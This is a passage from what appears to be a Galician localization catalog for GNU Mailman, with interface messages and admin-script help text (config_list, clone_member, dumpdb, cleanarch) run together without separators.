%(lockdir)s.

Ten que pór o Mailman nun estado inactivo, borrar todos os bloqueos
danados e despois executar unha outra vez manualmente "make update". Vexa os
ficheiros INSTALL e UPGRADE para máis detalles.

Envíos pendentes:
Para rematar de borrar a súa rolda de distribución, ten que editar o ficheiro
/etc/aliases (ou equivalente) e eliminar as liñas seguintes; para alén diso, é posíbel
que teña que executar o programa 'newaliases':

## Rolda de distribución %(listname)s
Sintaxe:
Está subscrito á rolda de correo co enderezo <em>%s</em> respectando as maiúsculas e as minúsculas.            Cancelou, con éxito, o envío da mensaxe
            co asunto <em>%(subject)s</em>, á rolda de
            distribución %(listname)s.            Mudou, con éxito, o seu enderezo na rolda
            de distribución %(listname)s de <b>%(oldaddr)s</b> a
            <b>%(newaddr)s</b>.  Agora xa pode <a href="%(optionsurl)s">
            acceder á súa páxina de entrada como subscritor</a>.            Confirmou, con éxito,  a solicitude de
            subscrición de "%(addr)s" á rolda de distribución
            %(listname)s. Enviaráselle por separado unha mensaxe ao seu
            enderezo de correo electrónico, xunto co seu contrasinal e
            outra información de interese. Recoméndaselle que garde
            esa mensaxe como referencia.

            <p>Agora pode <a href="%(optionsurl)s">acceder á páxina de
            entrada da súa subscrición</a>.            Confirmou satisfactoriamente a solicitude de
            subscrición á rolda de distribución;
            porén, é necesario o prace do parte do moderador
            da rolda. A súa solicitude envióuselle ao moderador da
            rolda. Enviaráselle unha mensaxe coa decisión do
            moderador.            Reactivou, con éxito, a súa subscrición da rolda de distribución
            %(listname)s. Agora pode <a href="%(optionsourl)s">visitar
            a páxina coas súas preferencias de subscrición</a>.
                       Foi dado de baixa con éxito da rolda de distribución
            %(listname)s. Agora pode <a href="%(listinfourl)s">visitar
            a páxina de información xeral da rolda</a>.            Recibiu un convite a esta rolda de distribución.
            Rexeitouse o convite e avisouse os administradores
            da rolda.     Descrición: %(description)s     Enviar solicitudes a: %(requestaddr)s    %(status)s (%(how)s o %(date)s)    ack %(onoff)s    o enderezo non se atopou:    estase a comprobar o gid e o modo de %(path)s    estase a comprobar os permisos de %(path)s    estase a comprobar o set-gid de %(path)s    engadiuse o enderezo clonado:    o enderezo para clonar xa está subscrito.    Compilacións en formato MIME    Inhabilitar as compilacións    Compilacións en texto plano    duplicadas %(onoff)s (mensaxes duplicadas)    hide %(onoff)s (enderezo oculto)    semella que ten unha instalación de CVS recente...
    ou é un corazón indomábel, ou xa o executou    myposts %(onoff)s (as súas propias mensaxes)    administradores do rolda nova:    o enderezo orixinal borrouse:    reminders %(onoff)s (lembranzas mensuais)    estase a examinar os administradores da rolda:    hai un ficheiro descoñecido no camiño; estase a mover
        %(o_pri_mbox_file)s
    a
        %(newname)s    hai un ficheiro descoñecido no camiño; estase a mover
        %(o_pub_mbox_file)s
    a
        %(newname)s  %(file)s: correcto  Fío %(size)i bytes  (%(count)d de %(total)d (Modo compilación) (mais modificaranse os enderezos de correo
            electrónico de xeito que non sexan doadamente
            recoñecíbeis polos programas de correo lixo). (require a autorización) (require a confirmación)&nbsp;<br> <p>Introduza o seu Se deixa o campo en branco, preguntaráselle o seu
        enderezo de correo electrónicoA última devolución que se recibiu foi hai %(date)s Para visitar a páxina dunha rolda que non
        se anuncia, abra un URL semellante a este mais cun
        "/" seguido polo nome %(adj)s da rolda.
        <p>Pode visitar os administradores de roldas  e o contrasinal para visitar a listaxe de subscritores<p><center>  en  bytes de %(remote)s xa é un subscritorsubscritores:  para achar a interface de xestión da súa rolda.
         <p>Se ten algún problema co emprego das roldas,  póñase
         en contacto con ## rolda de distribución %(listname)s#%(counter)05d %(msgid)s%%%%(addr)s está  expulsado (coincide: %(patt)s)O enderezo %(address)s non está subscrito á rolda %(listname)s.%(address)s foi convidado a un rolda de distribución diferente, mais nun
intento trataron de confirmar o convite
á súa rolda, algo que debería saber. De todos os xeitos, non é necesario
que faga nada.%(allcnt)s subscritores en totalhai %(allcnt)s subscritores en total e amósanse %(membercnt)s%(count)d solicitudes de %(realname)s a agardaren o moderador%(day)i %(month)s %(year)i%(days)d %(units)sOs permisos de %(dbdir)s para "o resto" teñen que ser 000o propietario de%(dbfile)s é %(owner)s (ten que pertencer a %(user)sOs permisos de %(file)s deberían ser 066x (e son %(octmode)s)Lembranzas de rolda de distribución de %(host)sRoldas de distribución de %(hostname)sRoldas de distribución en %(hostname)s - Ligazóns da administración%(i)3d. Nome da rolda:   %(realname)sLembranza da rolda de distribución %(listfullname)sA rolda %(listinfo_link)s está administrada por %(owner_link)s%(msg)s de %(listname)s non se atopou como %(filename)sO envio a %(listname)s de %(sender)s precisa a aprobaciónacháronse %(messages)d mensaxes%(month)s %(year)i%(name)s executa o qrunner %(runnername)s%(newaddr)s xa está subscrito á rolda.%(ord)s cuarto %(year)i%(path) ten un grupo incorrecto (ten: %(groupname)s, pois agardábase que tivese %(MAILMAN_GROUP)s)%(path)s ten que ser sert-gid%(private) non pode ser lido por terceiras persoasOs permisos de %(pwfile)s teñen que ser exactamente 06740 (ten %(octmode)s)%(realname)s -- Editar o código HTML para %(template_info)s%(realname)s -- Edición do código HTML das páxinasAdministración de %(realname)s (%(label)s)Base de datos administrativa %(realname)sResultados da base de datos administrativa de %(realname)sResumo de %(realname)s, vol %(volume)d, envío %(issue)dAxuda de configuración da rolda de distribución %(realname)s, opción <br><em>%(varname)s</em>Interface administrativa de %(realname)sRolda %(realname)s: opcións de subscrición de %(safeuser)sRolda %(realname)s: páxina de entrada das opcións do subscritorAdministración da rolda de distribución %(realname)s<br> Sección de %(label)sConfirmación de envío á rolda de distribución %(realname)sProduciuse un erro na autenticación á listaxe de subscritores de %(realname)sNotificación de subscrición a %(realname)sNotificación da baixa de %(realname)s%(safetemplatename)s: o modelo non é válido%(wday)s %(mon)s %(day)2i %(hh)02i:%(mm)02i:%(ss)02i %(tzname)s %(year)04i%(wrapper)s ten que ser set-gid%s ten ficheiros de entrada tanto públicos como privados. Xa que esta rolda
emprega actualmente unha almacenaxe pública, estase a instalar o fichero de entrada público
(%s) como ficheiro activo e estase a renomear
        %s
    como
        %s.preb6

Pode integrar dentro da almacenaxe se así o desexa mediante a escritura
'arch'.
&lt;líña en branco&gt;(<i>A %(which)s só está dispoñíbel para
                os subscritores da rolda.</i>)(<i>A %(which)s só está dispoñíbel para
            os administradores da rolda.</i>)(Filtro administrativo) Desexa comprobar os envíos e
             interceptar os que parezan ser solicitudes administrativas?Atención - está subscrito a unha rolda que manda a outras roldas de distribución, polo que a notificación de %s enviaránse ao enderezo administrativo do membro, %s.)<p>(como administrador)(corrixindo)(axuda)(bloqueado)(sen cambios)(sen asunto)(desbloqueado)- Resultados:- Esta rolda semella ter modelos <= b4 - tanto %(o_tmpl)s como %(n_tmpl)s existen, polo que se deixa intacto- moveuse %(o_tmpl)s a %(n_tmpl)s- non hai nada que actualizar aquí- estase a actualizar o antigo ficheiro de entrada privado- estase a actualizar o antigo ficheiro de entrada público- actualizáronse as marcas de usenet e elimináronse as gate_marcas------------ próxima parte ------------
--all require --run...despois deste....antes deste.... ou especifique que ficheiro se ten que cargar:; foi desactivado polo administrador do súa rolda; foi desactivado por vostede; foi desactivado debido a que había moitas mensaxes devoltas. A
        última mensaxe devolta escribiuse o %(date)s; foi desactivado por algún motivo que se descoñece<P>Actualmente non hai ningún ficheiro. </P><b><i>outro</i></b> <b>Cancelar</b> e regresar á administración das roldas<b>A cadea de confirmación non é correcta:</b>
    %(safecookie)s.

    <p>Cómpre salientar que as cadeas expiran aproximadamente cada %(days)s días
    despois da solicitude inicial. Se o seu período de confirmación expirou
    tente subscribirse máis unha vez. Se non expirou,
    <a href="%(confirmurl)s">introduza</a> a súa cadea de confirmación.<b>conf</b> -- Obtén o subscritor a confirmación
        dos seus envíos?<b>agrupado</b> -- Recibe o subscritor as mensaxes
        compiladas? (caso contrario, recibe as mensaxes a
        medida que chegan)<b>oculto</b> -- Aparece a enderezo do subscritor
        escondido na listaxe de subscritores?<b>idioma</b> -- Idioma preferido polo usuario<b>mod</b> -- A bandeira de moderación persoal do usuario. Se
         está activo, os envíos que del proveñan
         moderaranse, noutro caso aprobaranse<b>nodupes</b> -- Desexa o subscritor recibir duplicados das
        mensaxes?<b>sincorreo</b> -- Está desactivada a entrega de correo ao subscritor?
        Se for así, indicarase un código co motivo da desactivación da
        recepción de correo:
            <ul><li><b>U</b> -- A recepción de correo desactivouna o usuario a través
                        da súa páxina persoal.
                <li><b>A</b> -- A recepción de correo desactivouna un dos
                                administradores da rolda.
                <li><b>B</b> -- A recepción de correo desactivouna o sistema debido
                                a que as mensaxes dirixidas ao enderezo do subscritor
                                están a producir moitas devolucións.
                <li><b>?</b> -- Descoñécese a razón da desactivación da entrega.
                                Este é a razón para todas aquelas desactivacións
                                que se fixeron en versións anteriores do Mailman.
            </ul><b>a min non</b> -- Recibirá o subscritor unha copia das súas propias
        mensaxes?<b>texto</b> -- As mensaxes recompiladas recibiranse como só texto? (caso contrario, recibiranse en MIME)Non se cambiou o atributo <b>real_name</b>.
             Ten que se diferenciar 
             do nome da rolda só por cambiar a maiúsculas ou minúsculas.<b>unsub</b> -- Prema aquí para anular a subscrición do membro.<br>(Detalles de <b>%(varname)s</b>)<br>(Editar <b>%(varname)s</b>)<br><em>...especifique o ficheiro para cargar</em><br><br><em><strong>Nota:</strong>
        ao activar este valor, realiza unha acción inmediata mais non modifica
        o estado permanente.</em><br>Regresar ao <em>(Non se amosan %(num_concealed)d membro%(plu)s oculto%(plu)s)</em><em>(Non se amosa un subscritor oculto)</em><em><strong>Aviso</strong>: se modifica esta opción
    podería facer que outras pantallas estean desincronizadas. 
    Asegúrese de recargar calquera outra páxina que estea a visualizar 
    esta opción para esta rolda de distribución. Tamén pode
    <em>Indique o texto abaixo ou...</em><br><em>A mensaxe co identificador #%(id)d está danada.<em>Perdeuse a mensaxe co identificador #%(id)d<em>Non se definiu ningún tema</em><em>Non está dispoñíbel</em><em>O remitinte é agora subscritor desta rolda</em><em>Si, realmente quero darme de baixa</em><em>Non está dispoñíbel</em><li>Activar o bit de moderación de calquera, mesmo
            a aqueles subscritores que actualmente non estean
            visíbeis<perdido><p>%(note)s

            <p>É posíbel que desactivase a recepción das
            mensaxes ou tamén que se activase debido
            ás devolucións que está a producir o seu enderezo
            de correo electrónico. En calquera caso, para activar
            de novo a recepción das mensaxes da rolda, ten que cambiar
            a opción %(link)s de abaixo. Contacte con %(mailto)s se
            ten algunha pregunta ou se precisa axuda.<p>(Cómpre salientar que esta rolda envía a outras roldas de
            distribución, cuxa finalidade é ter unicamente como
            subscritores a outras roldas de distribución. Entre
            outras cousas, isto significa que as súas confirmacións
            enviaránse á parte de usuario do seu enderezo
            máis '%(sfx)s'.)<p>(Envíe as súas preguntas e comentarios a <p>... <b><i>ou</i></b> escolla a súa entrada entre os
                      subscritores (vexa arriba).<p><em>Para ver máis subscritores, prema
        o rango apropiado entre os que se relacionan abaixo:</em><p>A continuación aparece unha listaxe de todas 
            as distribucións públicas de %(hostname)s. Prema
            o nome dunha para obter máis información sobre ela, para
            subscribirse, darse de baixa ou mudar as preferencias da subscrición.<p>A continuación amósanse as roldas de 
            distribución de %(mailmanlink)s que se anuncian
            publicamente en %(hostname)s. Prema
            unha delas para visitar a súa páxina de configuración. <p>Non hai actualmente ningunha rolda de distribución de %(mailmanlink)s
            que se anuncie publicamente en %(hostname)s. <p>Actualmente non hai ningunha rolda de %(mailmanlink)s
             que anunciar publicamente en %(hostname)s. <p>Recibíronse mensaxes devoltas que produciu o seu correo electrónico.
            O contido das <em>mensaxes devoltas</em>, %(score), é maior que o máximo de %(total)s.
            Por favor, comprobe que o enderezo con que está subscrito é correcto e que non ten
            problemas na entrega. O contido das mensaxes rebotadas porase a cero automaticamente se
            os problemas se corrixen axiña.Cabeceira explícita <tt>Reply-To:</tt><ul><li><b>Hold</b> -- bloquea a mensaxe para que sexa aprobada
             polos moderadores da rolda.

             <p><li><b>Reject</b> -- rexeita a mensaxe automaticamente
             e notifícase a acción ao seu autor.  Pode
             <a href="?VARHELP=privacy/sender/member_moderation_notice"
             >configurar</a> o texto da mensaxe.

             <p><li><b>Discard</b> -- simplemente rexeita a mensaxe,
             sen lle enviar ningunha notificación ao autor.
             </ul>?AEnvióuselles unha mensaxe de confirmación a %(newaddr)sEnviouse unha recompilación.É preciso un nome de roldaEnvióuselle un lembranza do seu contrasinal por correo electrónico.<p>Unha frase breve que identifique esta roldaAceptarAceptarConfirmar os envíos do subscritorAcción que se debe facer cos envíos procedentes
             daquelas persoas non subscritas á rolda para os que
             non se definiu ningunha acción.Acción que se debe tomar acerca de todas estas mensaxes retidasAcción que se debe tomar cando unha mensaxe coincida coas regras de 
                filtrado por contidoAcción que se debe realizar cando un subscritor moderado envíe
               unha mensaxe á rolda.Acción: Engadir <b>%(esender)s</b> a un destes filtros de remitentes:Engadir unha tradución sen dúbidas ao dicionario.Engadir un elemento novo...Engadiuse: %(s)sTarefas adicionais cos subscritoresConfiguracións adicionaisAdicionalmente, reenviar esta mensaxe a: Enderezo/nomeEnderezo: Os enderezos non coincidenOs enderezos desta listaxe teñen totalmente vetada a subscrición
             á rolda de distribución, sen máis proceso de moderación.
             Inclúa un enderezo por liña; comezando cun ^ para
             empregar unha expresión regular.Os enderezos non poden estar en brancoEnderezo da administración: Solicitudes administrativas para a rolda de distribución:AdministradorOs contrasinais do administrador non coincidenAs probas administrativas comprobarán os envíos para ver se
             realmente son solicitudes (como subscricións
             baixas etc) e engadiraos á cola de
             solicitudes administrativas; despois notificarase o administrador,
             da nova solicitudeDesexa anunciar esta rolda cando se solicite que roldas están
             nesta máquina?Despois do filtrado do contido, a mensaxe ficou baleiraUnha outra vez para confirmar o contrasinal.Alias (expresións regulares) que cualifiquen
             como destino explícitoTodo executa todos os qrunners que se indican arribaXa está subscritoXa está subscrito: %(member)sDesexa eliminar tamén os ficheiros?Enderezos alternativos que se aceptarán
             cando se activa `require_explicit_destination'. Esta
             opción acepta unha serie de expresións regulares, cada unha
             nunha liña distinta que se comparan con cada un dos
             destinatarios da mensaxe. A comparación realízase coa
             función de Python re.match(), o que significa que se comeza
             desde o principio da cadea.
             
             <p>Para que exista compatibilidade
             con Mailman 1.1, se a expresión regular non contén un '@'
             entón o patrón compárase xusto coa parte local do
             enderezo do destinatario. Se a comparación falla ou
             o patrón non contén un '@' entón o patrón é
             comparado co enderezo completo do destinatario.
             
             <p>As comparacións coa parte local son obsoletas;
             en versións futuras, o patrón sempre se comparará
             co o enderezo completo do destinatario.SempreBorrouse un anexo en formato HTML...
URL: %(url)s
Unha introdución, isto é, uns cantos parágrafos sobre
             a rolda. Incluirase como código html ao principio
             da páxina de información da rolda. Os retornos
             de carro finalizarán un parágrafo. Vexa os detalles
             para máis información.CalqueraAprobarAbrAbrilDesexa arquivar as mensaxes?Opcións de almacenaxeCando for precisoAgoAgostoProduciuse un erro na autenticación.Produciuse un erro na autorizaciónNotificación de rexeitamento automáticoDesexa xerar automaticamente o contrasinal inicial da rolda?Contestador automáticoCarácterísticas do contestador automático.<p>

En cada un dos campos que están abaixo, a interpolación de cadeas
realízase coas seguintes substitucións de chaves/valor:
<p><ul>
    <li><b>listname</b> - <em>correspóndese co nome da rolda de distribución</em>
    <li><b>listurl</b> - <em>correspóndese co URL da páxina de información da rolda</em>
    <li><b>requestemail</b> - <em>correspóndese co enderezo -request da rolda</em>
    <li><b>owneremail</b> - <em>correspóndese co enderezo -admin da rolda</em>
    <li><b>owneremail</b> - <em>correspóndese ao enderezo -owner da rolda</em>
</ul>

<p>Para cada campo de texto, pode escribir directamente o texto dentro da caixa de texto ou pode
especificar un ficheiro no seu sistema local co texto que se ten que incluír.Resposta automática á mensaxe dirixida á rolda "%(realname)s"Texto de resposta automática que se ten que enviar ás mensaxes que vaian dirixidas ao -ownerTexto que se ten que enviar na resposta automática ás mensaxes que envíen 
ao enderezo -requestTexto de resposta automática que se ten que enviar aos remitentes da rolda de distribución.Estase a agardar a aprobación do moderadorBHai un erro na opción --digest: %(kind)sHai un erro na opción --nomail: %(why)sIgnorouse o tipo MIME incorrecto: %(spectype)sA especificación do URL é incorrectaHai un argumento incorrecto a -a/--admin-notify: %(arg)sHai un argumento incorrecto a -w/--welcome-msg: %(arg)sArgumentos incorrectos: %(args)sArgumentos incorrectos: %(pargs)sArgumento incorrecto: %(strargs)sMala elección: %(yesno)sOrde incorrecta: %(command)sA cadea de confirmación é incorrectaA especificación de recompilación non é correcta: %(arg)sO enderezo de correo electrónico é incorrecto na opción %(k)s: %(v)sO enderezo de correo electrónico é incorrecto na opción %(property)s: %(val)sProporcionou un enderezo de correo que é incorrectoValor incorrecto da bandeira de moderaciónO enderezo de correo electrónico do propietario é incorrecto: %(s)sO directorio que representa a cola é incorrecto: %(qdir)sA expresión regular está mal formada: A orde set é incorrecta: %()subcmdsO número do estado é incorrecto: %(arg)sO valor para <a href="?VARHELP=bounce/%(property)s é incorrecto"
                >%(property)s</a>: %(val)sO enderezo de correo quer é incorrecto quer non é válidoO enderezo de correo electrónico quer é incorrecto quer non é válido: %(member)sO enderezo de correo electrónico quer é incorrecto quer non é válido: liña en brancoA opción introducida formouse incorrectamente:
 %(record)sProhibirlle a <b>%(esender)s</b> volver subscribirse a esta
                    rolda de distribuciónListaxe negraEnderezo expulsado (concorda %(pattern)s)Características da entrega das mensaxes nunha soa recompilación.Introduza abaixo o texto que se engadirá ao comezo
        do convite de subscrición. Inclúa, cando menos,
        unha liña en branco ao final...Non están permitidos os calcos ocultos ou outros destinos implícitos.
Tente reenviar a súa mensaxe explicitamente e incluír o 
enderezo da rolda no campo To: ou Cc:.Notificación de reboteSensibilidade para a detección de rebotesXestión de rebotesAo premer o botón <em>Lembrar</em>,
    enviaráselle o contrasinal por correo electrónico.Ao premer o botón <em>Darse de baixa</em>,
    enviaráselle unha mensaxe de confirmación. Esta
    mensaxe conterá unha ligazón que debería premer para
    completar o proceso de baixa (tamén pode
    realizar a confirmación por correo electrónico; lea
    as instrucións na mensaxe de confirmación).Se non se indicar outra cousa, deben moderarse os envíos dos
subscritores novos?Ao estabelecer este valor como <em>Non</em>, inhabilitará todo o procesamento
             automático das mensaxes devoltas desta rolda; porén
             as mensaxes devoltas rexeitaranse, de xeito que
             non inunden a caixa de entrada do administrador da rolda.Ao configurar esta opción a <em>Non</em>, desactivará vostede
             o envío de mensaxes que se fai normalmente aos propietarios das roldas
             cando se desactiva o enderezo dun subscritor debido a un exceso de devolucións.
             De calquera xeito, sempre se intentará notificar o subscritor.Erro da escritura CGIPoden elixir os subscritores recibir o tráfico da rolda agrupado nunha soa mensaxe?Poden os subscritores elixir entre recibir o correo
             inmediatamente ou recibilo agrupado nunha soa mensaxe?Non se pode ter unha páxina html baleira.CancelarCancelar e rexeitarCancelar a miña solicitude de subscriciónCancelar o envíoNon se puido abrir o ficheiro de entrada %(mbox)s: %(msg)sNon foi posíbel ler o ficheiro de enderezos: %(filename)s: %(msg)sNon se puido ler os subscritores regulares e os non regulares desde a entrada estándar.Non é posíbel eliminar a mensaxe %(filebase)s e, por tanto,:
estase a omitir %(e)sNon se pode dar de baixa enderezos que non estean rexistrados:Número máximo aceptábel de destinatarios nunha entrega.Mudar o meu enderezo e o meu nomeMudar o meu contrasinalMudar o enderezoCambiar a contrasinal do xestor da roldaConfirmouse a solicitude do cambio do enderezoComprobar a integridade do ficheiro de configuración dunha rolda.

Comprobaranse os ficheiros seguintes:

    config.pck
    config.pck.last
    config.db
    config.db.last
    config.safety

Non é necesario que existan todos os  ficheiros.  config.pck e config.pck.last son
versións pickleadas do ficheiro de configuración das versións 2.1 a 3 e posteriores.
config.db e config.db.last empréganse en todas as versións anteriores e son ficheiros
marshals de Python.  config.safety é un pickle escrito para 2.1 a 3 e posteriores que se emprega
cando non se podía ler o ficheiro config.pck principal.

Sintaxe: %(PROGRAM)s [opciones] [listado [listado ...]]

Opcións:

    --all / -a
        Comprobar os ficheiros de todas as roldas. Noutro caso só se comprobarán
        as roldas que se especificaren na liña de ordes

    --verbose / -v
        Saída prolixa. Imprímese o estado de cada un dos ficheiros probados.
        Noutro caso só se amosarán os ficheiros danados.

    --help / -h
        Imprimir esta mensaxe e saír.
Limpiar un ficheiro .mbox

O arquivador busca liñas From de Unix e separa mensaxes nun ficheiro de entrada.
Debido á compatibilidade, procura especificamente as liñas que comezan con "From"
-- Por ex. as letras F en maiúsculas, r minúsculas, ou m e mais un espazo en branco,
e ignora calquera cousa que haxa na mesma liña.

Polo xeral, calquera das liñas que comecen con "From" no corpo da
mensaxe deberían estar escapadas debido a que un carácter > é o primeiro que
aparece na liña. É posible que as liñas non se atopen escapadas.
Esta escritura intenta corrixir isto e facer unha comprobación estrita das liñas
From ao estilo Unix. Calquera liña que comezar con "From" mais que non pase esta
proba estrito escápanse cun carácter >

Sintaxe: cleanarch [opcións] < ficheiro_Entrada > ficheiro_Saída
Opcións:
    -s n
    --status
        Pon un carácter # por cada n liñas procesadas.

    -q / --quiet
        Non mostra a información da liña modificada ao erro estándar.

    -n / --dry-run
        Non mostra nada pola saída estándar.

    -h / --help
        Mostra esta mensaxe e saír.
Borrar o formularioBorrar a marca de <em>moderación</em> deste subscritor Prema aquí para ver a listaxe de subscritores de Prema aquí para ocultar a lenda desta táboa.Prema aquí para incluír a lenda desta táboaPrema aquí para recargar a páxina.Prema co rato a ligazón para visitar a páxina
        de opcións na rolda de distribución solicitada.Prema o número de mensaxes para ver a
            mensaxe individualmente, ou podeCopiar o enderezo dun subscritor.

Copiar o enderezo dun subscritor significa que se subscribirá un usuario
novo coas mesmas opcións e contrasinais que o subscritor orixinal.  Cómpre salientar
que esta operación confía plenamente no usuario que a executa e non se realiza
ningunha verificación do novo enderezo, nin se envía unha mensaxe de benvida etc.

As subscricións existentes non se alteran en absoluto.  Se desexa borrar o
enderezo antigo, empregue a opción -r. Se tamén desexa mudar algún enderezo
de administrador, use a opción -a.

Sintaxe:
    clone_member [opcións] DendeOEnderezo AoEnderezo

Onde:

    --listname=rolda
    -l listado
        Comproba e modifica só as roldas de distribución especificadas.
.       Se non se inclúe -l, procurarase o enderezo en todas as roldas de
        distribución.  É posíbel especificar múltiplas opcións -l.

    --remove
    -r
        Elimina o enderezo antigo da rolda de distribución despois de se
        clonar.

    --admin
    -a
        Inclúe os enderezos dos administradores na busca dos
        enderezos antigos e tamén os clona ou os cambia.

    --quiet
    -q
        Realiza as modificacións silenciosamente.

    --nomodify
    -n
        Especifica o que se tería que facer mais non se fai.  Inhabilita a opción
        --quiet.

    --help
    -h
        Imprime esta mensaxe e sae.

 DesdeOEnderezo é o enderezo antigo do usuario.  AoEnderezo é o novo enderezo do usuario.

Estase a calcular o índice dos fíos
Ocultar o enderezo do subscritorCategorías da configuraciónConfigurar unha rolda a partir das descricións contidas nun ficheiro de texto.

Sintaxe: config_list [opcións] rolda

Opcións:
    --inputfile ficheiro
    -i ficheiro
        Configura a rolda asignando cada variábel de módulo-global contida
        no ficheiro a un atributo do obxecto relacionado e logo garda os cambios.
        O ficheiro especificado cárgase con execfile() e ten
        que conter código Python válido.
        Ignoraranse as variábeis que non sexan un atributo válido dunha rolda
        (e imprimirase unha mensaxe de aviso).  Vexa tamén a opción -c.

        Unha variábel especial chamada `mlist' ponse no ámbito global durante
        a execución de execfile, que se asocia á rolda actual.  Isto permítelle
        á rolda facer todo tipo de cousas raras, mais teña coidado pois ao usar isto
         pode danar seriamente (e mesmo irreversibelmente) a súa rolda de
        distribución.

    --outputfile ficheiro
    -o ficheiro
        No canto de configurar a rolda, imprime as variábeis de configuración
        nun formato axeitado para o usar como entrada a esta escritura. Deste
        xeito, pode gardar as opcións de configuración dunha rolda e usalas
        para configurar unha outra. As opcións de configuración gárdanse en
        `ficheiro'.  Se o ficheiro é `-', a saída do programa envíase á saída
        estándar.

    --checkonly
    -c
        Con esta opción, a rolda que se modificar non se cambia.  Só é útil con -i.

    --verbose
    -v
        Mostra o nome de cada atributo que se muda.  Só é útil con -i

    --help
    -h
        Mostra esta mensaxe e sae.

As opcións -o e -i son exclusivas.

ConfirmaciónConfirmación (*) - Precisa unha etapa de confirmación polo
                          correo electrónico <br> Precisa
                          aprobación - Require que a administración da
                          rolda aprobe as subscricións <br>Confirmación
                          e aprobación - require tanto a confirmación como
                          a aprobación

                          <p> (*) cando alguén solicita unha
                          subscrición, o Mailman envíalle unha
                          notificación cun único identificador asociado
                          á dita solicitude que se debe responder para se poder
                          subscribir. <br> Isto prevén que se poida
                          subscribir terceiras persoas sen o seu consentimento.Confirme o contrasinal da administración:Confirmación e aprobaciónConfirmar a solicitude do cambio de enderezoConfirmar o contrasinal inicial:Confirme o contrasinal do moderador:Confirmar a solicitude de subscriciónConfirmar a solicitude de baixaÉ necesaria unha mensaxe de confirmación desde o seu correo electrónico
para evitar que outras persoas poidan subscribilo sen o seu consentimento.  Enviáronselle
algunhas instrucións ao enderezo  %(email)s. Cómpre salientar que a alta na rolda non se completará até
a confirmación da subscriciónA cadea de confirmación está baleiraCadea de confirmación:Completouse a confirmaciónNotificación da mensaxe filtrada por contidoFiltrado de contidoContinuar a agardar a aprobaciónConverter o formato das cadeas de interpolación dunha rolda da forma
%-cadea á forma $-cadea.

Esta escritura está pensada para se executarse desde bin/withlist, isto é:

% bin/withlist -l -r convert <listado>
Non foi posíbel abrir o ficheiro %(filename)s para a súa lectura.Non foi posíbel abrir o ficheiro en modo escritura.Crear unha roldaCrear un rolda de distribución de %(hostname)sCrear unha outra roldaEstase a crear un directorio de almacenaxeChecoDiarioActualizouse a base de datos...DecDecembroO idioma predeterminado desta rolda.Opcións por defecto para os novos subscritores da rolda.<input
             type="hidden" name="new_member_options" value="ignore">DiferirBorrarBorrar esta roldaBorrar esta rolda de distribuciónEntregado por Mailman<br>versión %(version)sDescriciónDescrición:Descrición:  %(description)sInstrucións detalladas da base de datos administrativaRecompilaciónPé de páxina da recompilaciónCabeceira da recompilaciónSubscritores co correo compilado:Opcións da recompilaciónDesactivadaDescartarDescartar todas as mensaxes marcadas <em>Diferir</em>DescartarEnvía as recompilacións das roldas con mensaxes pendentes e activa digest_send_periodic

Sintaxe: %(PROGRAM)s [opcións]

Opcións:

    -h / --help
        Amosar esta mensaxe e sair.

    -l rolda
    --listname=rolda
        Envíase a recompilación desta rolda e se non se indicar envíanse as recompilacións
        de todas as roldas.
Non enviarlle unha copia das mensaxes que envíe á roldaDetectouse un retroceso, da versión %(hexlversion)s á versión %(hextversion)s
O máis probábel é que isto non sexa seguro.
Estase a saír.Execución en modo probaDEscarga o contido de calquera ficheiro da base de datos do Mailman.

Sintaxe: %(PROGRAM)s [opcións] ficheiro

Opcións:

    --marshal/-m
        Supón que o ficheiro está en formato marshal de Python e anula
        calquera verificación automática

    --pickle/-p
        Supón que o ficheiro está en formato pickle de Python e anula
        calquera verificación automática

    --noprint/-n
        Non trata de imprimir o obxecto con formato. Esta opción é útil se
        hai algún tipo de problema co obxecto e só quere obter unha
        representación sen máis e tamén con `python -i bin/dumpdb <ficheiro>`.
        Neste caso, a raíz da árbore deixarase  nunha variábel global
        chamada "msg".

    --help/-h
        Imprime esta mensaxe de axuda e remata

Se o nome do ficheiro ten a extensión  `.db', supón que
está en formato marshal de Python. Se o nome do ficheiro ten a extensión
`.pck' supón que está en formato pickle de Python.
En calquera caso, se se quixer anular a suposición por defecto \(ou se o 
nome de ficheiro non ten ningunha extensión), hai que empregar a opción 
-p ou -m.
DanésCada subscritor ten unha <em>marca de moderación</em> que indica
             se as súas mensaxes se poden enviar directamente á rolda ou se o moderador
             da rolda ten que aprobalas previamente. Cando a marca de
             moderación está activada, as mensaxes do subscritor
             teñen de se aprobar. Como administrador da rolda, pode decidir se
             as mensaxes de cada persoa concreta se deben moderar.

             <p>Cando haxa un subscritor novo, a súa marca de moderación inicial
             toma o valor desta opción. Desactive esta opción para
             aceptar as mensaxes do subscritor por defecto ou actívea para,
             as moderar. Vostede sempre pode
             estabelecer manualmente a marca de moderación de cada subscritor
             se emprega as seccións de <a href="%(adminurl)s/members">administración dos
             subscritores</a>.Cada palabra chave dos temas é, na realidade, unha expresión regular
             que se compara con certas partes da mensaxe de correo, en concreto
             coas cabeceiras <code>Keywords:</code> e <code>Subject:</code>.
             Hai que ter en conta que as primeiras liñas do corpo da mensaxe
             poden conter tamén unhas "cabeceiras" 
             <code>Keywords:</code> e <code>Subject:</code> sobre as que
             tamén se leva a cabo a busca.Editación do HTML : erroEditar as opciónsEditar as páxinas HTML públicas e os ficheiro de textoEnviarme o contrasinal por correoEnderezo de correo electrónico: Está activo o bloqueo de emerxencia de todo o tráfico da roldaA moderación de emerxencia de todo o tráfico das roldas está habilitadaModeración de emerxencia de todo o tráfico da rolda:Os contrasinais non poden estar baleirosHabilitadaDesexa codificar o
            <a href="?VARHELP=general/subject_prefix">prefixo do asunto
            </a> mesmo cando só conteña caracteres ASCII?Fin de Inglés (EEUU)Introduza a súa cadea de confirmaciónIndique o novo contrasinal do administrador:Indique o novo contrasinal do moderador:Introduza, a seguir, cada enderezo nunha liña distinta...Indique o enderezo de correo da persoa que xestionará a rolda: Indique o nome da rolda: ErroProduciuse un erro ao dar de baixa a subscrición:Erro no convite de subscrición:Produciuse un erro ao abrir a rolda "%(listname)s" e omitirase.
%(e)sProduciuse un erro ao abrir a rolda "%(listname)s", e omitirase.Houbo un erro ao dar de alta a subscrición:Erro: EstonianoÉuscaroCabeceira explícita <tt>Reply-To:</tt>Enderezo explícitoFebFebreiroFiltrar as mensaxes duplicadas aos subscritores (se for posíbel)Estase a rematarAtopa todas as roldas que conteñan o enderezo dun subscritor

Sintaxe:
    find_member [opcións] expreg [expreg expreg [...]]

Onde:
    --listname=rolda
    -l rolda
        Busca só nas roldas que se indicaren.

    --exclude=rolda
    -x rolda
